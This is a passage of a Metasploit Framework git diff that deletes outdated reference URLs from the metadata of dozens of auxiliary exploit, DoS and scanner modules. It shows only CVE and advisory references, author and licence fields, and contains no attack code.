b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb @@ -26,7 +26,6 @@ class Metasploit3 < Msf::Auxiliary [ 'OSVDB', '89912' ], [ 'BID', '57760' ], [ 'EDB', '24475' ], - [ 'URL', 'http://homesupport.cisco.com/de-eu/support/routers/E1500' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ] ], 'DisclosureDate' => 'Feb 05 2013')) diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index 8b7f998eac..c1ad331aae 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -29,7 +29,6 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://homesupport.cisco.com/en-eu/support/routers/WRT54GL' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ], [ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ], [ 'EDB', '24202' ], diff --git a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb index 253abbd34c..dd91ebd71e 100644 --- a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb +++ b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb @@ -27,7 +27,6 @@ class Metasploit3 < Msf::Auxiliary [ ['CVE', '2014-7862'], ['OSVDB', '116554'], - ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_dc9_admin.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/2'] ], 'DisclosureDate' => 'Dec 31 2014')) diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb index 03099e68f2..25cb1cee1e 100644 --- a/modules/auxiliary/admin/http/manageengine_dir_listing.rb +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -36,7 +36,6 @@ class Metasploit3 < Msf::Auxiliary [ ['CVE', '2014-7863'], ['OSVDB', '117696'], - ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/114'] ], 'DisclosureDate' => 'Jan 28 2015')) diff --git a/modules/auxiliary/admin/http/manageengine_file_download.rb b/modules/auxiliary/admin/http/manageengine_file_download.rb index bc15d3d47d..a0a384e600 100644 --- a/modules/auxiliary/admin/http/manageengine_file_download.rb +++ b/modules/auxiliary/admin/http/manageengine_file_download.rb @@ -34,7 +34,6 @@ class Metasploit3 < Msf::Auxiliary [ ['CVE', '2014-7863'], ['OSVDB', '117695'], - ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/114'] ], 'DisclosureDate' => 'Jan 28 2015')) diff --git a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb index a9e33a2dfc..e125f88ada 100644 --- a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb +++ b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb @@ -34,7 +34,6 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2014-8499' ], [ 'OSVDB', '114485' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_pmp_privesc.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/18' ] ], 'DisclosureDate' => 'Nov 8 2014')) diff --git a/modules/auxiliary/admin/http/netflow_file_download.rb b/modules/auxiliary/admin/http/netflow_file_download.rb index 7c76cfcc8f..03d4fb4efa 100644 --- a/modules/auxiliary/admin/http/netflow_file_download.rb +++ b/modules/auxiliary/admin/http/netflow_file_download.rb @@ -28,7 +28,6 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2014-5445' ], [ 'OSVDB', '115340' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_netflow_it360_file_dl.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Dec/9' ] ], 'DisclosureDate' => 'Nov 30 2014')) diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index 5087e8bcb4..773973688e 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -29,9 +29,7 @@ class Metasploit4 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ], - # Fill this in with the direct advisory URL from Infigo - [ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ] + [ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ] ], 'DefaultOptions' => { 'SSL' => true diff --git a/modules/auxiliary/admin/http/sysaid_admin_acct.rb b/modules/auxiliary/admin/http/sysaid_admin_acct.rb index 7b753f52b9..7554dad829 100644 --- a/modules/auxiliary/admin/http/sysaid_admin_acct.rb +++ b/modules/auxiliary/admin/http/sysaid_admin_acct.rb @@ -27,7 +27,6 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2015-2993' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] ], 'DisclosureDate' => 'Jun 3 2015')) diff --git a/modules/auxiliary/admin/http/sysaid_file_download.rb b/modules/auxiliary/admin/http/sysaid_file_download.rb index 1add8ee9b2..2929701fd3 100644 --- a/modules/auxiliary/admin/http/sysaid_file_download.rb +++ b/modules/auxiliary/admin/http/sysaid_file_download.rb @@ -34,7 +34,6 @@ class Metasploit3 < Msf::Auxiliary [ ['CVE', '2015-2996'], ['CVE', '2015-2997'], - ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'] ], 'DisclosureDate' => 'Jun 3 2015')) diff --git a/modules/auxiliary/admin/http/sysaid_sql_creds.rb b/modules/auxiliary/admin/http/sysaid_sql_creds.rb index b2ccb89657..85d674ab8b 100644 --- a/modules/auxiliary/admin/http/sysaid_sql_creds.rb +++ b/modules/auxiliary/admin/http/sysaid_sql_creds.rb @@ -29,7 +29,6 @@ class Metasploit3 < Msf::Auxiliary [ ['CVE', '2015-2996'], ['CVE', '2015-2998'], - ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'] ], 'DisclosureDate' => 'Jun 3 2015')) diff --git a/modules/auxiliary/admin/postgres/postgres_readfile.rb b/modules/auxiliary/admin/postgres/postgres_readfile.rb index b355d65869..fa3abf8d31 100644 --- a/modules/auxiliary/admin/postgres/postgres_readfile.rb +++ b/modules/auxiliary/admin/postgres/postgres_readfile.rb @@ -21,11 +21,7 @@ class Metasploit3 < Msf::Auxiliary as well as read privileges to the target file. }, 'Author' => [ 'todb' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://michaeldaw.org/sql-injection-cheat-sheet#postgres' ] - ] + 'License' => MSF_LICENSE )) register_options( diff --git a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb index 0ed64478ca..24d11c9978 100644 --- a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb +++ b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb @@ -34,8 +34,7 @@ class Metasploit3 < Msf::Auxiliary ['CVE', '2003-0027'], ['OSVDB', '8201'], ['BID', '6665'], - ['URL', 'http://marc.info/?l=bugtraq&m=104326556329850&w=2'], - ['URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-77-1000898.1-1'] + ['URL', 'http://marc.info/?l=bugtraq&m=104326556329850&w=2'] ], # Tested OK against sol8.tor 20100624 -jjd 'DisclosureDate' => 'Jan 22 2003') diff --git a/modules/auxiliary/bnat/bnat_router.rb b/modules/auxiliary/bnat/bnat_router.rb index 24b211a13b..c7c5b8536d 100644 --- a/modules/auxiliary/bnat/bnat_router.rb +++ b/modules/auxiliary/bnat/bnat_router.rb @@ -21,8 +21,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'https://github.com/claudijd/BNAT-Suite'], - [ 'URL', 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels'], + [ 'URL', 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels'] ] ) register_options( diff --git a/modules/auxiliary/bnat/bnat_scan.rb b/modules/auxiliary/bnat/bnat_scan.rb index 278b9d6d26..3e45bc7ea0 100644 --- a/modules/auxiliary/bnat/bnat_scan.rb +++ b/modules/auxiliary/bnat/bnat_scan.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'https://github.com/claudijd/BNAT-Suite'], - [ 'URL', 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels'], + [ 'URL', 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels'] ] ) diff --git a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb index f70d685742..ff25f23634 100644 --- a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb +++ b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb @@ -27,7 +27,6 @@ class Metasploit3 < Msf::Auxiliary [ [ 'BID', '1154'], [ 'CVE', '2000-0380'], - [ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20000514-ios-http-server.shtml'], [ 'OSVDB', '1302' ], ], 'DisclosureDate' => 'Apr 26 2000')) diff --git a/modules/auxiliary/dos/dns/bind_tkey.rb b/modules/auxiliary/dos/dns/bind_tkey.rb index b34c4836c7..4b29d365b7 100644 --- a/modules/auxiliary/dos/dns/bind_tkey.rb +++ b/modules/auxiliary/dos/dns/bind_tkey.rb @@ -30,8 +30,7 @@ class Metasploit4 < Msf::Auxiliary 'References' => [ ['CVE', '2015-5477'], ['URL', 'https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'], - ['URL', 'https://kb.isc.org/article/AA-01272'], - ['URL', 'https://github.com/rapid7/metasploit-framework/issues/5790'] + ['URL', 'https://kb.isc.org/article/AA-01272'] ], 'DisclosureDate' => 'Jul 28 2015', 'License' => MSF_LICENSE, diff --git a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb index b15b5a3a2e..cef333391d 100644 --- a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb +++ b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb @@ -23,7 +23,6 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2006-February/002982.html' ], [ 'BID', '16838' ], [ 'OSVDB', '23511' ], [ 'CVE', '2006-0900' ], diff --git a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb index 987fee1046..28542774fb 100644 --- a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb +++ b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb @@ -30,7 +30,6 @@ class Metasploit4 < Msf::Auxiliary 'References' => [ ['CVE', '2014-0050'], - ['URL', 'http://markmail.org/message/kpfl7ax4el2owb3o'], ['URL', 'http://tomcat.apache.org/security-8.html'], ['URL', 'http://tomcat.apache.org/security-7.html'] ], diff --git a/modules/auxiliary/dos/http/monkey_headers.rb b/modules/auxiliary/dos/http/monkey_headers.rb index 48e2761fcc..2f6c097029 100644 --- a/modules/auxiliary/dos/http/monkey_headers.rb +++ b/modules/auxiliary/dos/http/monkey_headers.rb @@ -26,8 +26,7 @@ class Metasploit3 < Msf::Auxiliary [ ['CVE', '2013-3843'], ['OSVDB', '93853'], - ['BID', '60333'], - ['URL', 'http://bugs.monkey-project.com/ticket/182'] + ['BID', '60333'] ], 'DisclosureDate' => 'May 30 2013')) diff --git a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb index 4d114e2dab..3ec73403ae 100644 --- a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb +++ b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb @@ -29,8 +29,7 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2005-4797' ], [ 'BID', '14510' ], - [ 'OSVDB', '18650' ], - [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'], + [ 'OSVDB', '18650' ] ] )) diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index 47380dda07..f215ae9942 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -28,8 +28,7 @@ class Metasploit4 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2012-2686'], - [ 'URL', 'https://www.openssl.org/news/secadv_20130205.txt'] + [ 'CVE', '2012-2686'] ], 'DisclosureDate' => 'Feb 05 2013')) diff --git a/modules/auxiliary/dos/windows/games/kaillera.rb b/modules/auxiliary/dos/windows/games/kaillera.rb index 465897fac2..c2fddc489a 100644 --- a/modules/auxiliary/dos/windows/games/kaillera.rb +++ b/modules/auxiliary/dos/windows/games/kaillera.rb @@ -19,10 +19,6 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => ["Sil3nt_Dre4m"], 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://kaillerahacks.blogspot.com/2011/07/kaillera-server-086-dos-vulnerability.html' ] - ], 'DisclosureDate' => 'Jul 2 2011')) register_options([ diff --git a/modules/auxiliary/gather/citrix_published_bruteforce.rb b/modules/auxiliary/gather/citrix_published_bruteforce.rb index 05aa9509f3..8160691034 100644 --- a/modules/auxiliary/gather/citrix_published_bruteforce.rb +++ b/modules/auxiliary/gather/citrix_published_bruteforce.rb @@ -22,8 +22,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'OSVDB', '50617' ], - [ 'BID', '5817' ], - [ 'URL', 'http://sh0dan.org/oldfiles/hackingcitrix.html' ], + [ 'BID', '5817' ] ] )) diff --git a/modules/auxiliary/gather/dns_cache_scraper.rb b/modules/auxiliary/gather/dns_cache_scraper.rb index d309a10617..3b4794fa3f 100644 --- a/modules/auxiliary/gather/dns_cache_scraper.rb +++ b/modules/auxiliary/gather/dns_cache_scraper.rb @@ -23,8 +23,7 @@ class Metasploit3 < Msf::Auxiliary ], 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'http://304geeks.blogspot.com/2013/01/dns-scraping-for-corporate-av-detection.html'], - ['URL', 'http://www.rootsecure.net/content/downloads/pdf/dns_cache_snooping.pdf'] + ['URL', 'http://304geeks.blogspot.com/2013/01/dns-scraping-for-corporate-av-detection.html'] ])) register_options([ diff --git a/modules/auxiliary/gather/eventlog_cred_disclosure.rb b/modules/auxiliary/gather/eventlog_cred_disclosure.rb index fcb6abd3b4..6d58c3b95b 100644 --- a/modules/auxiliary/gather/eventlog_cred_disclosure.rb +++ b/modules/auxiliary/gather/eventlog_cred_disclosure.rb @@ -34,7 +34,6 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2014-6039' ], [ 'OSVDB', '114342' ], [ 'OSVDB', '114344' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_eventlog_info_disc.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/12' ] ], 'DisclosureDate' => 'Nov 5 2014')) diff --git a/modules/auxiliary/gather/huawei_wifi_info.rb b/modules/auxiliary/gather/huawei_wifi_info.rb index 705b020fd5..f817643557 100644 --- a/modules/auxiliary/gather/huawei_wifi_info.rb +++ b/modules/auxiliary/gather/huawei_wifi_info.rb @@ -70,8 +70,7 @@ class Metasploit3 < Msf::Auxiliary [ ['CWE', '425'], ['CVE', '2013-6031'], - ['US-CERT-VU', '341526'], - ['URL', 'http://www.huaweidevice.co.in/Support/Downloads/'], + ['US-CERT-VU', '341526'] ], 'DisclosureDate' => "Nov 11 2013" )) diff --git a/modules/auxiliary/gather/ie_uxss_injection.rb b/modules/auxiliary/gather/ie_uxss_injection.rb index fb272170db..f270a2eba2 100644 --- a/modules/auxiliary/gather/ie_uxss_injection.rb +++ b/modules/auxiliary/gather/ie_uxss_injection.rb @@ -32,7 +32,6 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2015-0072' ], [ 'OSVDB', '117876' ], [ 'MSB', 'MS15-018' ], - [ 'URL', 'http://www.deusen.co.uk/items/insider3show.3362009741042107/'], [ 'URL', 'http://innerht.ml/blog/ie-uxss.html' ], [ 'URL', 'http://seclists.org/fulldisclosure/2015/Feb/10' ] ], diff --git a/modules/auxiliary/gather/trackit_sql_domain_creds.rb b/modules/auxiliary/gather/trackit_sql_domain_creds.rb index f672e3bca4..68b1c93e02 100644 --- a/modules/auxiliary/gather/trackit_sql_domain_creds.rb +++ b/modules/auxiliary/gather/trackit_sql_domain_creds.rb @@ -31,7 +31,6 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2014-4872' ], [ 'OSVDB', '112741' ], [ 'US-CERT-VU', '121036' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/bmc-track-it-11.3.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ] ], 'DisclosureDate' => 'Oct 7 2014' diff --git a/modules/auxiliary/scanner/chargen/chargen_probe.rb b/modules/auxiliary/scanner/chargen/chargen_probe.rb index 721bd6e073..fe43a0e3e5 100644 --- a/modules/auxiliary/scanner/chargen/chargen_probe.rb +++ b/modules/auxiliary/scanner/chargen/chargen_probe.rb @@ -35,8 +35,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '1999-0103' ], # Note, does not actually trigger a flood. - [ 'URL', 'https://www.cert.be/pro/docs/chargensnmp-ddos-attacks-rise' ], - [ 'URL', 'http://tools.ietf.org/html/rfc864' ], + [ 'URL', 'http://tools.ietf.org/html/rfc864' ] ], 'DisclosureDate' => 'Feb 08 1996') diff --git a/modules/auxiliary/scanner/dect/call_scanner.rb b/modules/auxiliary/scanner/dect/call_scanner.rb index 206367d11e..12c88f72f6 100644 --- a/modules/auxiliary/scanner/dect/call_scanner.rb +++ b/modules/auxiliary/scanner/dect/call_scanner.rb @@ -14,8 +14,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'DECT Call Scanner', 'Description' => 'This module scans for active DECT calls', 'Author' => [ 'DK ' ], - 'License' => MSF_LICENSE, - 'References' => [ ['URL', 'http://www.dedected.org'] ] + 'License' => MSF_LICENSE ) end diff --git a/modules/auxiliary/scanner/dect/station_scanner.rb b/modules/auxiliary/scanner/dect/station_scanner.rb index e25605bdfd..cd1bf10cc4 100644 --- a/modules/auxiliary/scanner/dect/station_scanner.rb +++ b/modules/auxiliary/scanner/dect/station_scanner.rb @@ -14,8 +14,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'DECT Base Station Scanner', 'Description' => 'This module scans for DECT base stations', 'Author' => [ 'DK ' ], - 'License' => MSF_LICENSE, - 'References' => [ ['URL', 'http://www.dedected.org'] ] + 'License' => MSF_LICENSE ) end diff --git a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb index 8834046c39..de6c042743 100644 --- a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb @@ -35,7 +35,6 @@ class Metasploit3 < Msf::Auxiliary [ [ 'BID', '2936'], [ 'CVE', '2001-0537'], - [ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20010627-ios-http-level.shtml'], [ 'OSVDB', '578' ], ], 'DisclosureDate' => 'Jun 27 2001')) diff --git a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb index f2e97def59..7f16552941 100644 --- a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb @@ -21,8 +21,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2011-3305' ], - [ 'OSVDB', '76080'], - [ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20111005-nac.shtml' ] + [ 'OSVDB', '76080'] ], 'Author' => [ 'Nenad Stojanovski ' ], 'License' => MSF_LICENSE diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb index 804e8dd49b..c7517d32f1 100644 --- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb +++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb @@ -39,7 +39,6 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2010-2861' ], [ 'BID', '42342' ], [ 'OSVDB', '67047' ], - [ 'URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07' ], [ 'URL', 'http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-18.html' ], ] diff --git a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb index 5e347e23c8..87668dd476 100644 --- a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb @@ -25,7 +25,6 @@ class Metasploit3 < Msf::Auxiliary ['OSVDB', '70762'], ['CVE', '2011-0049'], ['CVE', '2011-0063'], - ['URL', 'https://sitewat.ch/en/Advisory/View/1'], ['URL', 'http://sotiriu.de/adv/NSOADV-2011-003.txt'], ['EDB', '16103'] ], diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb index 0d0d4bfd46..2204a9ecda 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb @@ -23,8 +23,7 @@ class Metasploit3 < Msf::Auxiliary }, 'References' => [ - [ 'OSVDB', '80262'], - [ 'URL', 'http://retrogod.altervista.org/9sg_me_adv.htm' ] + [ 'OSVDB', '80262'] ], 'Author' => [ diff --git a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb index dd5cdc6043..c4541ac09f 100644 --- a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb +++ b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb @@ -23,7 +23,6 @@ class Metasploit3 < Msf::Auxiliary [ 'OSVDB', '86881' ], [ 'BID', '57969' ], [ 'EDB', '24504' ], - [ 'URL', 'http://www.tp-link.com/en/support/download/?model=TL-WA701ND&version=V1' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-011' ] ], 'Author' => [ 'Michael Messner ' ], diff --git a/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb b/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb index f9a59ceaaa..39a58fb004 100644 --- a/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb +++ b/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb @@ -18,10 +18,6 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ Enumerate Poison Ivy Command and Control (C&C) on ports 3460, 80, 8080 and 443. Adaptation of iTrust Python script. }, - 'References' => - [ - ['URL', 'www.malware.lu/Pro/RAP002_APT1_Technical_backstage.1.0.pdf'], - ], 'Author' => ['SeawolfRN'], 'License' => MSF_LICENSE ) diff --git a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb index b9edb09746..e77aaa2c1e 100644 --- a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb +++ b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb @@ -23,10 +23,6 @@ class Metasploit3 < Msf::Auxiliary The protocol deisgn issue also allows attackers to reset passwords on the device. }, 'Author' => 'Ben Schmidt', - 'References' => - [ - [ 'URL', 'http://spareclockcycles.org/exploiting-an-ip-camera-control-protocol/' ], - ], 'License' => MSF_LICENSE ) diff --git a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb index ce209616bd..3fbd8b36c1 100644 --- a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb +++ b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb @@ -30,8 +30,7 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2012-2215' ], [ 'OSVDB', '80230' ], - [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=975' ], - [ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html' ] + [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=975' ] ] )) diff --git a/modules/auxiliary/scanner/rogue/rogue_recv.rb b/modules/auxiliary/scanner/rogue/rogue_recv.rb index 40a125d4d5..4293d6bc1e 100644 --- a/modules/auxiliary/scanner/rogue/rogue_recv.rb +++ b/modules/auxiliary/scanner/rogue/rogue_recv.rb @@ -18,11 +18,7 @@ class Metasploit3 < Msf::Auxiliary must match the rogue_send parameters used exactly. }, 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL', 'http://www.metasploit.com/research/projects/rogue_network/'], - ] + 'License' => MSF_LICENSE ) register_options([ diff --git a/modules/auxiliary/scanner/rogue/rogue_send.rb b/modules/auxiliary/scanner/rogue/rogue_send.rb index 6634ca0885..9e2b9cf3ec 100644 --- a/modules/auxiliary/scanner/rogue/rogue_send.rb +++ b/modules/auxiliary/scanner/rogue/rogue_send.rb @@ -21,11 +21,7 @@ class Metasploit3 < Msf::Auxiliary system is using as its default route. }, 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL', 'http://www.metasploit.com/research/projects/rogue_network/'], - ] + 'License' => MSF_LICENSE ) register_options([ diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index 94b85230f3..01b3088dcc 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -37,7 +37,6 @@ class Metasploit4 < Msf::Auxiliary 'References' => [ [ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ], [ 'URL', 'http://help.sap.com/saphelp_nw70ehp3/helpdata/en/48/6c68b01d5a350ce10000000a42189d/content.htm'], - [ 'URL', 'http://www.onapsis.com/research-free-solutions.php' ], # Bizsploit Opensource ERP Pentesting Framework [ 'URL', 'http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2%20-%20Mariano%20Nunez%20Di%20Croce%20-%20SAProuter%20.pdf' ] ], 'Author' => diff --git a/modules/auxiliary/scanner/udp_scanner_template.rb b/modules/auxiliary/scanner/udp_scanner_template.rb index 065e5f351b..07ec5c659d 100644 --- a/modules/auxiliary/scanner/udp_scanner_template.rb +++ b/modules/auxiliary/scanner/udp_scanner_template.rb @@ -22,10 +22,6 @@ class Metasploit3 < Msf::Auxiliary Simply address any of the TODOs. ), 'Author' => 'Joe Contributor ', - 'References' => - [ - ['URL', 'https://example.com/~jcontributor'] - ], 'DisclosureDate' => 'Mar 15 2014', 'License' => MSF_LICENSE ) diff --git a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb index 0ba01cad4a..b30cb8c6b8 100644 --- a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb +++ b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb @@ -47,7 +47,6 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ ['CVE', '2015-1793'], ['CWE', '754'], - ['URL', 'http://www.openssl.org/news/secadv_20150709.txt'], ['URL', 'http://git.openssl.org/?p=openssl.git;a=commit;h=f404943bcab4898d18f3ac1b36479d1d7bbbb9e6'] ], 'DisclosureDate' => 'Jul 9 2015' diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb 